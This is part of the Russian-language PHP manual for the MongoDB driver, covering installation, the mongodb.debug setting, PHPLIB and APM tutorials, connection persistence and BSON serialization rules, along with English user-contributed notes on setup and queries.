Убедитесь, что директива extension_dir файла php.ini указывает на каталог, в котором присутствует модуль mongodb.so. Проверить значение этой директивы можно так:

$ php -i | grep extension_dir
  extension_dir => /usr/lib/php/extensions/debug-non-zts-20220829 =>
                   /usr/lib/php/extensions/debug-non-zts-20220829

Если директории отличаются, то поменяйте значение extension_dir в php.ini или просто переместите mongodb.so в нужную директорию.

И наконец, добавьте следующую строку в файл php.ini для каждого окружения, в котором вы собираетесь использовать драйвер:

extension=mongodb.so

User Contributed Notes

Anisur Rahman (anisur2805 at gmail dot com) 04-Sep-2020 08:00
After installing mongodb, in terminal there are couple of error ex.

PHP Warning:  PHP Startup: Unable to load dynamic library 'mongodb.so' (tried: C:\xampp\php\ext\mongodb.so (The specified module could not be found.), C:\xampp\php\ext\php_mongodb.so.dll (The specified module could not be found.)) in Unknown on line 0

Warning: PHP Startup: Unable to load dynamic library 'mongodb.so' (tried: C:\xampp\php\ext\mongodb.so (The specified module could not be found.), C:\xampp\php\ext\php_mongodb.so.dll (The specified module could not be found.)) in Unknown on line 0

https://prnt.sc/ubr5mq

Solution:
1. If you include mongodb extension in php.ini file first remove that
2. Goto your php path inside Xampp and create an file called mongodb.ini and pest this below line, see ss - https://prnt.sc/ubr7ii
code extension=mongodb.so

This solution works in windows 10, php 7.4 version
chatocoral at gmail dot com 18-Oct-2017 06:54
You think this is to complicated? You use Ubuntu 14 or 16? use this:

sudo apt-get install php-mongodb

This installs everything you need to use MongoDB inside PHP.

Don't stop using MongoDB, is the best that will happen to you.

You're Welcome.
fgm at osinet dot fr 10-Aug-2016 09:27
a) If your git version is not recent enough, as can happen e.g. on Ubuntu 12.04 LTS, git submodule --init won't exist
In that case use:

    git submodule init
    git submodule update

b) make install does not create a mongodb.conf configuration file to support the debian/ubuntu PHP versions phpenmod/phpdismod commands. To have them work:

- do not add the extension=mongodb.so line to php.ini
- add it to a mongodb.ini file in the PHP mods-available directory
- the commands will then work for this extension

c) if you have multiple versions of PHP on a system such as b), the phpenmod/phpdismod commands may fail if the extension is not built for the default PHP CLI version. To have it be enabled for a specific version, use the -v argument, like

    phpenmod -v php7.1 mongodb


Настройка во время выполнения

Поведение этих функций зависит от установок в php.ini.

Опции настройки mongodb
Имя | По умолчанию | Место изменения | Список изменений
mongodb.debug | "" | PHP_INI_ALL |

Краткое разъяснение конфигурационных директив.

mongodb.debug string

Этот параметр можно использовать для включения или отключения ведения журнала отладки на уровне трассировки в драйвере (и libmongoc).

Укажите пустую строку, "0", "off", "no" или "false", чтобы отключить ведение журнала.

Укажите "stderr" или "stdout", чтобы вести журнал в stderr или stdout, соответственно.

Укажите "1", "on", "yes" или "true" для ведения журнала в новый временный файл в системном временном каталоге по умолчанию (т.е. sys_get_temp_dir()).

Укажите любую другую строку для ведения журнала в новый временный файл в этом каталоге. Если каталог не может быть использован, вместо него будет использоваться системный временный каталог по умолчанию.

Замечание:

Обратите внимание, что журнал отладки может содержать конфиденциальную информацию, такую как учётные данные на сервере MongoDB и полные документы, записанные или прочитанные с сервера. Пожалуйста, просмотрите все журналы отладки, прежде чем делиться ими с другими людьми.

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Перечисленные ниже константы определены данным модулем и доступны либо в сборках PHP с поддержкой этого модуля, либо когда модуль динамически загружен во время выполнения.

MONGODB_VERSION (string)
Номер версии модуля в стиле x.y.z
MONGODB_STABILITY (string)
Уровень стабильности (alpha/beta/stable)

User Contributed Notes

There are no user contributed notes for this page.


Обучающие материалы

В данном разделе вы найдёте некоторое количество обучающих материалов по использованию драйвера MongoDB для PHP.

  • Использование библиотеки PHP для MongoDB (PHPLIB)
  • Мониторинг производительности приложения (Application Performance Monitoring или APM)

User Contributed Notes

There are no user contributed notes for this page.


Использование библиотеки PHP для MongoDB (PHPLIB)

После первоначальной настройки драйвера, мы продолжим объяснять, как начать работу с драйвером MongoDB и соответствующей пользовательской библиотекой, для создания нашего первого проекта.

Установка библиотеки PHP с помощью Composer

Последнее, что нам необходимо установить перед тем, как начать писать наше приложение - установить библиотеку PHP.

Библиотеку будем устанавливать с помощью пакетного менеджера » Composer. Инструкции по установке Composer ищите на его сайте.

Устанавливаем библиотеку следующим образом:

$ composer require mongodb/mongodb

Будет выведено что-то вроде:

./composer.json has been created
Loading composer repositories with package information
Updating dependencies (including require-dev)
  - Installing mongodb/mongodb (1.0.0)
    Downloading: 100%

Writing lock file
Generating autoload files

Composer создаст несколько файлов: composer.json, composer.lock и директорию vendor, содержащую саму библиотеку и прочие зависимости, которые потребуются в вашем проекте.

Использование библиотеки PHP

Кроме управления зависимостями, Composer также предоставляет автоподгрузчик классов для этих зависимостей. Убедитесь, что вы включили этот автозагрузчик в начало своего скрипта или в код bootstrap() вашего приложения:

<?php
// Этот путь должен указывать на автозагрузчик Composer
require 'vendor/autoload.php';

После этого можно использовать любой функционал, описанный в » документации по библиотеке.

Если вы ранее использовали более старый драйвер (т.е. модуль mongo), то API библиотеки должно быть вам знакомо. Оно содержит класс » Client для соединения с MongoDB, класс » Database для операций уровня базы данных (т.е. команды, управление коллекциями) и класс » Collection для операций уровня коллекции (т.е. методы » CRUD, управление индексами). Различные методы Collection были переименованы для большей понятности и соответствия языково-независимой » спецификации.

Пример, как вставить документ в коллекцию beers базы данных demo:

<?php
require 'vendor/autoload.php'; // подключаем автоподгрузчик классов Composer

$client = new MongoDB\Client("mongodb://localhost:27017");
$collection = $client->demo->beers;

$result = $collection->insertOne( [ 'name' => 'Hinterland', 'brewery' => 'BrewDog' ] );

echo "Идентификатор вставленного документа '{$result->getInsertedId()}'";
?>

Вместо инъекции сгенерированного поля _id во входящий документ (как это делалось в старых версиях драйвера), теперь можно это делать с помощью метода insertOne возвращённого объекта.

После вставки вы, конечно же, можете запросить только что вставленные данные. Для этого используйте метод find, который возвращает итерируемый курсор:

<?php
require 'vendor/autoload.php'; // подключаем автоподгрузчик классов Composer

$client = new MongoDB\Client("mongodb://localhost:27017");
$collection = $client->demo->beers;

$result = $collection->find( [ 'name' => 'Hinterland', 'brewery' => 'BrewDog' ] );

foreach ($result as $entry) {
echo $entry['_id'], ': ', $entry['name'], "\n";
}
?>

Хоть из примера это и не очевидно, но документы BSON и массивы по умолчанию десериализованы как типы классов в библиотеке. Эти классы гарантируют, что значения сохранят свои типы когда будут сериализовываться обратно в BSON, что позволяет избежать проблемы старых драйверов, когда массивы могли преобразоваться в документы и наоборот. Кроме того, классы наследуют ArrayObject для большего удобства использования. Более подробно о сериализации и десериализации между переменными PHP и BSON можно прочитать в спецификации Постоянные данные.

User Contributed Notes

wpg 23-Oct-2019 05:40
If you have a number of JSON documents with nested elements such as 'responseId' below and you want to know how many documents have a responseId:
{"result":{"responseId":"xyz"}}
{"result":NULL}
{"result":{"responseId":"abc"}}

I was not having luck with the following format
<?php
// trying to get the count of documents where responseId is not equal to NULL (did not work for me)
$intCount = $collection->count(['result' => ['responseId' => ['$ne' => NULL]]]);
?>

Instead I needed to use a period between the JSON elements:
<?php
// get the count of documents where responseId is not equal to NULL
$intCount = $collection->count(['result.responseId' => ['$ne' => NULL]]);
?>
salos_12 at hotmail dot com 16-Aug-2019 07:16
When your database name contains a "-" (e.g. database-name) you need to use a string instead.

<?php

$client = new MongoDB\Client("mongodb://ip_address:port");
$collection = $client->{'database-name'}->collection;

?>
myname 30-Sep-2018 05:53
What folder we need to be in to run composer? I can't get it to work.
surajtiwari020 at gmail dot com 16-Mar-2018 05:03
Well most of the tutorials didn't explained well, So i hope this might help someone
Note: this is a part of my laravel project

//getting data from a collection
<?php

use MongoDB\Client as Mongo;

$user = "admin";
$pwd = 'password';

$mongo = new Mongo("mongodb://${user}:${pwd}@127.0.0.1:27017");
$collection = $mongo->db_name->collection;
$result = $collection->find()->toArray();

print_r($result);

?>
crystale dot darck at gmail dot com 15-May-2017 04:03
To test your connection string, you can do something like this:

<?php
$mongo = new MongoDB\Client('mongodb://my_server_does_not_exist_here:27017');
try
{
    $dbs = $mongo->listDatabases();
}
catch (MongoDB\Driver\Exception\ConnectionTimeoutException $e)
{
    // PHP cannot find a MongoDB server using the MongoDB connection string specified
    // do something here
}
?>
Basher 12-Aug-2016 04:10
Pecl MongoDB at time of writing can be installed (see phpinfo()) but composer will complain that it's not present.

$  composer require "mongodb/mongodb=^1.0.0"
...
Your requirements could not be resolved to an installable set of packages.

If you see this try

$ composer require "mongodb/mongodb=^1.0.0" --ignore-platform-reqs
Dc Shiman 23-Feb-2016 03:53
Do a text search on the collection with projection

$search['$text'] = ['$search' => "foo"];
$options["projection"] = ['score' => ['$meta' => "textScore"]];
$options["sort"] = ["score" => ['$meta' => "textScore"]];

$cursor = $collection->find($search, $options);


Мониторинг производительности приложения (Application Performance Monitoring или APM)

Драйвер MongoDB содержит API подписчика событий, который позволяет приложениям отслеживать команды и внутреннюю активность, относящуюся к » Спецификации обнаружения и мониторинга серверов. В данном руководстве будет продемонстрирован мониторинг команд с помощью интерфейса MongoDB\Driver\Monitoring\CommandSubscriber.

Интерфейс MongoDB\Driver\Monitoring\CommandSubscriber определяет три метода: commandStarted, commandSucceeded и commandFailed. Каждый из них принимает один параметр event класса, соответствующего нужному событию. К примеру, commandSucceeded принимает аргумент $event класса MongoDB\Driver\Monitoring\CommandSucceededEvent.

В данном руководстве вы реализуем подписчика, который создаёт список профилировок всех запросов и среднего времени их исполнения.

Класс подписчик Scaffolding

Мы начнём с шаблона для нашего подписчика:

<?php

class QueryTimeCollector implements \MongoDB\Driver\Monitoring\CommandSubscriber
{
public function commandStarted( \MongoDB\Driver\Monitoring\CommandStartedEvent $event ): void
{
}

public function commandSucceeded( \MongoDB\Driver\Monitoring\CommandSucceededEvent $event ): void
{
}

public function commandFailed( \MongoDB\Driver\Monitoring\CommandFailedEvent $event ): void
{
}
}

?>

Регистрация подписчика

Как только объект подписчик создан, необходимо его зарегистрировать в драйвере в системе мониторинга. Регистрация производится методом MongoDB\Driver\Monitoring\addSubscriber() или MongoDB\Driver\Manager::addSubscriber() для регистрации подписчика глобально или с помощью определённого класса Manager соответственно.

<?php

\MongoDB\Driver\Monitoring\addSubscriber( new QueryTimeCollector() );

?>

Реализуем логику

Теперь займёмся реализацией логики класа подписчика. Для сопоставления двух событий, относящихся к успешно выполненной команды (commandStarted and commandSucceeded), каждый объект события предоставляет поле requestId.

Для записи среднего времени выполнения запроса мы начнём с отслеживания команды find в событии commandStarted. Мы будем добавлять элемент в массив pendingCommands с индексом соответствующим requestId и значением, соответствующим запросу.

Когда мы получим соответствующее событие commandSucceeded с соответствующим requestId, мы добавим время выполнения (из durationMicros) к общему времени и увеличим счётчик операций.

Если мы получим событие commandFailed, мы просто удалим соответствующую запись из pendingCommands.

<?php

class QueryTimeCollector implements \MongoDB\Driver\Monitoring\CommandSubscriber
{
private $pendingCommands = [];
private $queryShapeStats = [];

/* Создаёт форму запроса из аргумента фильтра. В данный момент учитываются
* только поля верхнего уровня. */
private function createQueryShape( array $filter )
{
return json_encode( array_keys( $filter ) );
}

public function commandStarted( \MongoDB\Driver\Monitoring\CommandStartedEvent $event ): void
{
if ( array_key_exists( 'find', (array) $event->getCommand() ) )
{
$queryShape = $this->createQueryShape( (array) $event->getCommand()->filter );
$this->pendingCommands[$event->getRequestId()] = $queryShape;
}
}

public function commandSucceeded( \MongoDB\Driver\Monitoring\CommandSucceededEvent $event ): void
{
$requestId = $event->getRequestId();
if ( array_key_exists( $requestId, $this->pendingCommands ) )
{
$this->queryShapeStats[$this->pendingCommands[$requestId]]['count']++;
$this->queryShapeStats[$this->pendingCommands[$requestId]]['duration'] += $event->getDurationMicros();
unset( $this->pendingCommands[$requestId] );
}
}

public function commandFailed( \MongoDB\Driver\Monitoring\CommandFailedEvent $event ): void
{
if ( array_key_exists( $event->getRequestId(), $this->pendingCommands ) )
{
unset( $this->pendingCommands[$event->getRequestId()] );
}
}

public function __destruct()
{
foreach( $this->queryShapeStats as $shape => $stats )
{
echo "Shape: ", $shape, " (", $stats['count'], ")\n ",
$stats['duration'] / $stats['count'], "µs\n\n";
}
}
}

$m = new \MongoDB\Driver\Manager( 'mongodb://localhost:27016' );

/* Добавляем подписчика */
\MongoDB\Driver\Monitoring\addSubscriber( new QueryTimeCollector() );

/* Запускаем пачку запросов */
$query = new \MongoDB\Driver\Query( [
'region_slug' => 'scotland-highlands', 'age' => [ '$gte' => 20 ]
] );
$cursor = $m->executeQuery( 'dramio.whisky', $query );

$query = new \MongoDB\Driver\Query( [
'region_slug' => 'scotland-lowlands', 'age' => [ '$gte' => 15 ]
] );
$cursor = $m->executeQuery( 'dramio.whisky', $query );

$query = new \MongoDB\Driver\Query( [ 'region_slug' => 'scotland-lowlands' ] );
$cursor = $m->executeQuery( 'dramio.whisky', $query );

?>

User Contributed Notes

There are no user contributed notes for this page.


Обзор архитектуры драйвера и её особенностей

  • Архитектура — Обзор архитектуры
  • Соединения — Обработка соединения и постоянство
  • Постоянные данные — Сериализация и десериализация переменных PHP в MongoDB
    • Сериализация в BSON
    • Десериализация из BSON

User Contributed Notes

There are no user contributed notes for this page.


Обзор архитектуры

В этом разделе объясняется, как различные части PHP-драйвера сочетаются друг с другом, от базовых системных библиотек, через PHP-модули и до PHP-библиотек на самом верху.

Наверху стека расположена » библиотека PHP, которая распространяется в виде » пакета Composer. Эта библиотека предоставит API, согласованный с другими » драйверами MongoDB, и реализует междрайверные » спецификации. Хотя модуль можно использовать напрямую, библиотека даёт минимальные накладные расходы и должна быть общей зависимостью для большей части приложений, построенных с MongoDB.

На уровень ниже библиотеки располагается PHP-модуль, который распространяется через репозиторий » PECL. Модуль образует связующую прослойку между PHP и системными библиотеками (» libmongoc, » libbson и » libmongocrypt). Этот публичный API предлагает только самую базовую функциональность:

  • Управление соединением
  • BSON кодирование и декодирование
  • Сериализация документа объекта (для поддержки библиотек ODM)
  • Выполнение команд, запросы и запись операций
  • Обработка курсоров для команд и результатов запроса

Исходный код драйвера и проекты JIRA
Проект | GitHub | JIRA
PHP библиотека | » mongodb/mongo-php-library | » PHPLIB
PHP-модуль | » mongodb/mongo-php-driver | » PHPC

User Contributed Notes

There are no user contributed notes for this page.


Обработка соединения и постоянство

Замечание: На Unix, драйвер MongoDB чувствителен к сценариям, которые используют системный вызов fork() без последующего exec(). Пользователям рекомендуется не переиспользовать экземпляр MongoDB\Driver\Manager в дочернем процессе. child process.

Постоянство подключения и топологии (версия PHP начиная с 1.2.0)

Все версии драйвера начиная с 1.2.0 сохраняют клиентский объект » libmongoc в рабочем процессе PHP, что позволяет ему повторно использовать соединения с базой данных, состояния аутентификации и информацию о топологии в нескольких запросах.

Когда вызывается MongoDB\Driver\Manager::__construct(), из его аргументов создаётся хеш (т. е. строка URI и параметры массива). Драйвер попытается найти ранее сохранённый клиентский объект » libmongoc для этого хеша. Если существующий клиент не может быть найден для хеша, будет создан новый клиент и сохранён для будущего использования. Это поведение можно выключить через параметр драйвера "disableClientPersistence".

Каждый клиент содержит свои собственные подключения к базе данных и представление топологии сервера (например, автономный, набор реплик, кластер сегментов). Сохраняя клиент между запросами PHP, драйвер может повторно использовать установленные подключения к базе данных и устранять необходимость » обнаружения топологии сервера при каждом запросе.

Рассмотрим следующий пример:

<?php

$managers = [
new MongoDB\Driver\Manager('mongodb://127.0.0.1'),
new MongoDB\Driver\Manager('mongodb://127.0.0.1'),
new MongoDB\Driver\Manager('mongodb://127.0.0.1:27017'),
new MongoDB\Driver\Manager('mongodb://rs1.example.com,rs2.example.com/', ['replicaSet' => 'myReplicaSet']),
];

foreach ($managers as $manager) {
$manager->executeCommand('test', new MongoDB\Driver\Command(['ping' => 1]));
}

?>

Первые два объекта Manager будут использовать один и тот же клиент » libmongoc, поскольку их аргументы конструктора идентичны. Третий и четвёртый объекты будут использовать каждый свой клиент. Всего будет создано три клиента, и процесс PHP, выполняющий этот скрипт, откроет два соединения с адресом 127.0.0.1 и одно соединение с каждым из адресов: rs1.example.com и rs2.example.com. Если драйвер обнаруживает дополнительных членов набора реплик после выполнения команд hello, он также открывает дополнительные подключения к этим серверам.

Если этот же процесс снова выполнит сценарий во втором запросе, эти три клиента будут использованы повторно, а новых подключений установлено не будет. В зависимости от того, как давно был обработан предыдущий запрос, драйверу может потребоваться выполнить дополнительные команды hello для обновления своего представления топологий.

Постоянство сокетов (версии PHP до 1.2.0)

Версии драйвера PHP до 1.2.0 используют PHP's Streams API для соединений с базой данных, используя API модуля » libmongoc для определения пользовательских обработчиков для связи с сокетами; однако новый клиент libmongoc создаётся для каждого экземпляра класса MongoDB\Driver\Manager. В результате драйвер сохраняет отдельные соединения с базой данных, но не информацию о состоянии аутентификации или топологии. Это означает, что драйвер должен выдавать команды в начале каждого запроса для проверки подлинности и » обнаружения топологии сервера.

Соединения с базой данных сохраняются с помощью хеша, полученного из хоста, порта и строки URI сервера, используемой для построения MongoDB\Driver\Manager. Параметры массива конструктора не включены в этот хеш.

Замечание: Версии драйвер >= 1.1.8 and < 1.2.0 не сохраняют сокеты для соединений SSL. Смотрите » PHPC-720 для получения дополнительной информации.

Несмотря на недостатки, связанные с сохранением соединений SSL и информацией о топологии, эта версия драйвера поддерживает все параметры контекста SSL, поскольку использует PHP's Streams API.

User Contributed Notes

There are no user contributed notes for this page.


Сериализация и десериализация переменных PHP в MongoDB

Содержание

  • Сериализация в BSON
  • Десериализация из BSON

Этот документ обсуждает методы, как составные структуры (документы, массивы, объекты) сохраняются через драйверы. И как они возвращаются назад в PHP.

User Contributed Notes

There are no user contributed notes for this page.


Сериализация в BSON

Массивы

Если массив является упакованным массивом — то есть пустой массив или, если ключи начинаются с 0 и являются последовательными без пробелов: массив BSON.

Если массив не упакован — то есть имеет ассоциативные (строковые) ключи, ключи не начинаются с 0 или при наличии пробелов:: объект BSON

Документ верхнего уровня (корневой), всегда сериализуется, как документ BSON.

Примеры

Сериализация, как массив BSON:

[ 8, 5, 2, 3 ] => [ 8, 5, 2, 3 ]
[ 0 => 4, 1 => 9 ] => [ 4, 9 ]

Сериализация, как документ BSON:

[ 0 => 1, 2 => 8, 3 => 12 ] => { "0" : 1, "2" : 8, "3" : 12 }
[ "foo" => 42 ] => { "foo" : 42 }
[ 1 => 9, 0 => 10 ] => { "1" : 9, "0" : 10 }

Обратите внимание, что пять примеров являются выдержками из полного документа и представляют только одно значение внутри документа.

Объекты

Если объект принадлежит к классу stdClass, сериализуйте, как документ BSON.

Если объект является поддерживаемым классом, который реализует MongoDB\BSON\Type, то используйте логику сериализации BSON для этого конкретного типа. Экземпляры MongoDB\BSON\Type (исключая MongoDB\BSON\Serializable можно сериализовать только, как значение поля документа. Попытка сериализации такого объекта в качестве корневого документа приведёт к выбросу MongoDB\Driver\Exception\UnexpectedValueException

Если объект неизвестного класса реализует интерфейс MongoDB\BSON\Type, выдаётся исключение MongoDB\Driver\Exception\UnexpectedValueException

Если объект относится к какому-либо другому классу, без реализации какого-либо специального интерфейса, сериализуйте, как документ BSON. Оставляйте только public свойства и игнорируйте protected и private свойства.

Если объект принадлежит к классу, который реализует интерфейс MongoDB\BSON\Serializable, вызовите MongoDB\BSON\Serializable::bsonSerialize() и используйте возвращённый массив или stdClass для сериализации в качестве документа BSON или массива. Тип BSON будет определяться следующим:

  1. Корневые документы должны быть сериализованы, как документ BSON.

  2. MongoDB\BSON\Persistable объекты должны быть сериализованы, как документ BSON.

  3. Если MongoDB\BSON\Serializable::bsonSerialize() возвращает упакованный массив, сериализуйте его, как массив BSON.

  4. Если MongoDB\BSON\Serializable::bsonSerialize() возвращает неупакованный массив или stdClass, сериализуйте, как документ BSON.

  5. Если MongoDB\BSON\Serializable::bsonSerialize() не вернул массив или stdClass, выдаст исключение MongoDB\Driver\Exception\UnexpectedValueException.

Если объект принадлежит к классу, который реализует интерфейс MongoDB\BSON\Persistable (что подразумевает MongoDB\BSON\Serializable), получите свойства аналогично предыдущим абзацам, но также добавьте дополнительное свойство __pclass в качестве Binary значения с подтипом 0x80 и данными, содержащими полное имя класса сериализуемого объекта.

Свойство __pclass добавляется в массив или объект, возвращаемый MongoDB\BSON\Serializable::bsonSerialize(), что означает, что оно будет перезаписывать любой ключ/свойство __pclass в возвращаемом значении MongoDB\BSON\Serializable::bsonSerialize(). Если вы хотите избежать такого поведения и установить собственное значение __pclass, вы не должны реализовывать MongoDB\BSON\Persistable и вместо этого должны реализовывать MongoDB\BSON\Serializable напрямую.

Примеры

<?php

class stdClass {
public $foo = 42;
} // => { "foo" : 42 }

class MyClass {
public $foo = 42;
protected $prot = "wine";
private $fpr = "cheese";
} // => { "foo" : 42 }

class AnotherClass1 implements MongoDB\BSON\Serializable {
public $foo = 42;
protected $prot = "wine";
private $fpr = "cheese";
function bsonSerialize(): array {
return [ 'foo' => $this->foo, 'prot' => $this->prot ];
}
} // => { "foo" : 42, "prot" : "wine" }

class AnotherClass2 implements MongoDB\BSON\Serializable {
public $foo = 42;
function bsonSerialize(): array {
return $this;
}
} // => MongoDB\Driver\Exception\UnexpectedValueException("bsonSerialize() did not return an array or stdClass")

class AnotherClass3 implements MongoDB\BSON\Serializable {
private $elements = [ 'foo', 'bar' ];
function bsonSerialize(): array {
return $this->elements;
}
} // => { "0" : "foo", "1" : "bar" }

class ContainerClass implements MongoDB\BSON\Serializable {
public $things = AnotherClass4 implements MongoDB\BSON\Serializable {
private $elements = [ 0 => 'foo', 2 => 'bar' ];
function bsonSerialize(): array {
return $this->elements;
}
}
function bsonSerialize(): array {
return [ 'things' => $this->things ];
}
} // => { "things" : { "0" : "foo", "2" : "bar" } }

class ContainerClass implements MongoDB\BSON\Serializable {
public $things = AnotherClass5 implements MongoDB\BSON\Serializable {
private $elements = [ 0 => 'foo', 2 => 'bar' ];
function bsonSerialize(): array {
return array_values($this->elements);
}
}
function bsonSerialize(): array {
return [ 'things' => $this->things ];
}
} // => { "things" : [ "foo", "bar" ] }

class ContainerClass implements MongoDB\BSON\Serializable {
public $things = AnotherClass6 implements MongoDB\BSON\Serializable {
private $elements = [ 'foo', 'bar' ];
function bsonSerialize(): array {
return (object) $this->elements;
}
}
function bsonSerialize(): array {
return [ 'things' => $this->things ];
}
} // => { "things" : { "0" : "foo", "1" : "bar" } }

class UpperClass implements MongoDB\BSON\Persistable {
public $foo = 42;
protected $prot = "wine";
private $fpr = "cheese";
function bsonSerialize(): array {
return [ 'foo' => $this->foo, 'prot' => $this->prot ];
}
} // => { "foo" : 42, "prot" : "wine", "__pclass" : { "$type" : "80", "$binary" : "VXBwZXJDbGFzcw==" } }

User Contributed Notes

There are no user contributed notes for this page.


Десериализация из BSON

Внимание

Документы BSON технически могут содержать повторяющиеся ключи, поскольку документы хранятся в виде списка пар ключ-значение; однако приложениям следует воздерживаться от создания документов с дубликатами ключей, поскольку поведение сервера и драйвера может быть неопределённым. Поскольку объекты и массивы PHP не могут иметь повторяющихся ключей, данные также могут быть потеряны при декодировании документа BSON с повторяющимися ключами.

Устаревший модуль mongo десериализовал как документы, так и массивы BSON в качестве массивов PHP. Хотя с PHP массивами удобно работать, такое поведение было проблематичным, поскольку различные типы BSON могут десериализоваться до одного и того же значения PHP (например, {"0": "foo"} и ["foo"]) и будет невозможно вывести оригинальный тип BSON. По умолчанию текущий драйвер решает эту проблему, обеспечивая преобразование массивов и документов BSON в массивы и объекты PHP соответственно.

Для составных типов существует три типа данных:

root

относится только к документу верхнего уровня BSON

document

относится только к встроенным документам BSON

array

относится к массивам BSON

Помимо трёх групповых типов, также можно настроить определённые поля в документе для сопоставления с типами данных, указанными ниже. В качестве примера, следующая карта типов позволяет сопоставить каждый встроенный документ в массиве "addresses" с классом Address, а каждое поле "city" в этих документах с встроенным адресом с классом City:

[
    'fieldPaths' => [
        'addresses.$' => 'MyProject\Address',
        'addresses.$.city' => 'MyProject\City',
    ],
]

Каждый из этих трёх типов данных, а также сопоставления для конкретных полей могут быть сопоставлены с различными типами PHP. Возможные значения сопоставления:

не указано или NULL (по умолчанию)

  • Массив BSON будет десериализован, как PHP array.

  • Документ BSON (корневой или внедрённый) без свойства __pclass [1] становится объектом PHP stdClass, причём каждый ключ документа BSON устанавливается в качестве открытого свойства stdClass.

  • Документ BSON (корневой или встроенный) со свойством __pclass [1] становится объектом PHP имени класса, как это определено свойством __pclass.

    Если указанный класс реализует интерфейс MMongoDB\BSON\Persistable, то свойства документа BSON, включая свойство __pclass, отправляются в виде ассоциативного массива в функцию MongoDB\BSON\Unserializable::bsonUnserialize() для инициализации свойств объекта.

    Если названный класс не существует или не реализует интерфейс MongoDB\BSON\Persistable, будет использоваться stdClass, и каждый ключ документа BSON (включая __pclass) будет установлен, как открытое свойство stdClass.

    Функциональность __pclass зависит от того, является ли свойство частью извлечённого документа MongoDB. Если вы используете проекцию при запросе документов, вам нужно включить поле __pclass в проекцию, чтобы эта функция работала.

"array"

Превращает массив BSON или документ BSON в массив PHP. Не будет специальной обработки свойства __pclass [1], но его можно установить, как элемент в возвращаемом массиве, если он присутствовал в документе BSON.

"object" или "stdClass"

Превращает массив BSON или документ BSON в объект stdClass. Не будет специальной обработки свойства __pclass [1], но оно может быть установлено, как открытое свойство в возвращаемом объекте, если оно присутствовало в документе BSON.

"bson"

Превращает BSON массив в MongoDB\BSON\PackedArray и BSON документ в MongoDB\BSON\Document, независимо от того, есть ли у BSON документа свойство __pclass [1].

Замечание: Значение bson доступно только для трёх корневых типов, но не в отображениях для конкретных полей.

любая другая строка

Определяет имя класса, который должен десериализовать массив BSON или объект BSON. Для объектов BSON, которые содержат свойства __pclass, этот класс будет иметь приоритет.

Если названный класс не существует, не является конкретным (то есть является абстрактным или интерфейсом) или не реализует MongoDB\BSON\Unserializable, то выдаётся исключение MongoDB\Driver\Exception\InvalidArgumentException.

Если объект BSON имеет свойство __pclass, и этот класс существует и реализует MongoDB\BSON\Persistable, он заменит класс, представленный в карте типов.

Свойства документа BSON, включая свойство __pclass, если оно существует, будут отправлены в виде ассоциативного массива в функцию MongoDB\BSON\Unserializable::bsonUnserialize() для инициализации свойств объекта.

TypeMaps

TypeMaps можно установить с помощью метода MongoDB\Driver\Cursor::setTypeMap() для объекта MongoDB\Driver\Cursor или аргумента $typeMap в MongoDB\BSON\toPHP(), MongoDB\BSON\Document::toPHP() и MongoDB\BSON\PackedArray::toPHP(). Каждый из трёх классов (root, document, и array) может быть задан индивидуально, в дополнение к типам полей.

Если значение на карте равно NULL, это означает то же самое, что и значение по умолчанию для этого элемента.

Примеры

В этих примерах используются следующие классы:

MyClass

который не реализует интерфейс

YourClass

который реализует MongoDB\BSON\Unserializable

OurClass

который реализует MongoDB\BSON\Persistable

TheirClass

который расширяет OurClass

Метод MongoDB\BSON\Unserializable::bsonUnserialize() класса YourClass, OurClass, OurClass выполняет итерацию по массиву и устанавливает свойства без изменений. Он также устанавливает для свойства $unserialized значение true:

<?php

function bsonUnserialize( array $map )
{
foreach ( $map as $k => $value )
{
$this->$k = $value;
}
$this->unserialized = true;
}

/* typemap: [] (все значения по умолчанию) */
{ "foo": "yes", "bar" : false }
  -> stdClass { $foo => 'yes', $bar => false }

{ "foo": "no", "array" : [ 5, 6 ] }
  -> stdClass { $foo => 'no', $array => [ 5, 6 ] }

{ "foo": "no", "obj" : { "embedded" : 3.14 } }
  -> stdClass { $foo => 'no', $obj => stdClass { $embedded => 3.14 } }

{ "foo": "yes", "__pclass": "MyClass" }
  -> stdClass { $foo => 'yes', $__pclass => 'MyClass' }

{ "foo": "yes", "__pclass": { "$type" : "80", "$binary" : "MyClass" } }
  -> stdClass { $foo => 'yes', $__pclass => Binary(0x80, 'MyClass') }

{ "foo": "yes", "__pclass": { "$type" : "80", "$binary" : "YourClass") }
  -> stdClass { $foo => 'yes', $__pclass => Binary(0x80, 'YourClass') }

{ "foo": "yes", "__pclass": { "$type" : "80", "$binary" : "OurClass") }
  -> OurClass { $foo => 'yes', $__pclass => Binary(0x80, 'OurClass'), $unserialized => true }

{ "foo": "yes", "__pclass": { "$type" : "44", "$binary" : "YourClass") }
  -> stdClass { $foo => 'yes', $__pclass => Binary(0x44, 'YourClass') }

/* typemap: [ "root" => "MissingClass" ] */
{ "foo": "yes" }
  -> MongoDB\Driver\Exception\InvalidArgumentException("MissingClass does not exist")

/* typemap: [ "root" => "MyClass" ] */
{ "foo": "yes", "__pclass" : { "$type": "80", "$binary": "MyClass" } }
  -> MongoDB\Driver\Exception\InvalidArgumentException("MyClass does not implement Unserializable interface")

/* typemap: [ "root" => "MongoDB\BSON\Unserializable" ] */
{ "foo": "yes" }
  -> MongoDB\Driver\Exception\InvalidArgumentException("Unserializable is not a concrete class")

/* typemap: [ "root" => "YourClass" ] */
{ "foo": "yes", "__pclass" : { "$type": "80", "$binary": "MongoDB\BSON\Unserializable" } }
  -> YourClass { $foo => "yes", $__pclass => Binary(0x80, "MongoDB\BSON\Unserializable"), $unserialized => true }

/* typemap: [ "root" => "YourClass" ] */
{ "foo": "yes", "__pclass" : { "$type": "80", "$binary": "MyClass" } }
  -> YourClass { $foo => "yes", $__pclass => Binary(0x80, "MyClass"), $unserialized => true }

/* typemap: [ "root" => "YourClass" ] */
{ "foo": "yes", "__pclass" : { "$type": "80", "$binary": "OurClass" } }
  -> OurClass { $foo => "yes", $__pclass => Binary(0x80, "OurClass"), $unserialized => true }

/* typemap: [ "root" => "YourClass" ] */
{ "foo": "yes", "__pclass" : { "$type": "80", "$binary": "TheirClass" } }
  -> TheirClass { $foo => "yes", $__pclass => Binary(0x80, "TheirClass"), $unserialized => true }

/* typemap: [ "root" => "OurClass" ] */
{ foo: "yes", "__pclass" : { "$type": "80", "$binary": "TheirClass" } }
  -> TheirClass { $foo => "yes", $__pclass => Binary(0x80, "TheirClass"), $unserialized => true }

/* typemap: [ 'root' => 'YourClass' ] */
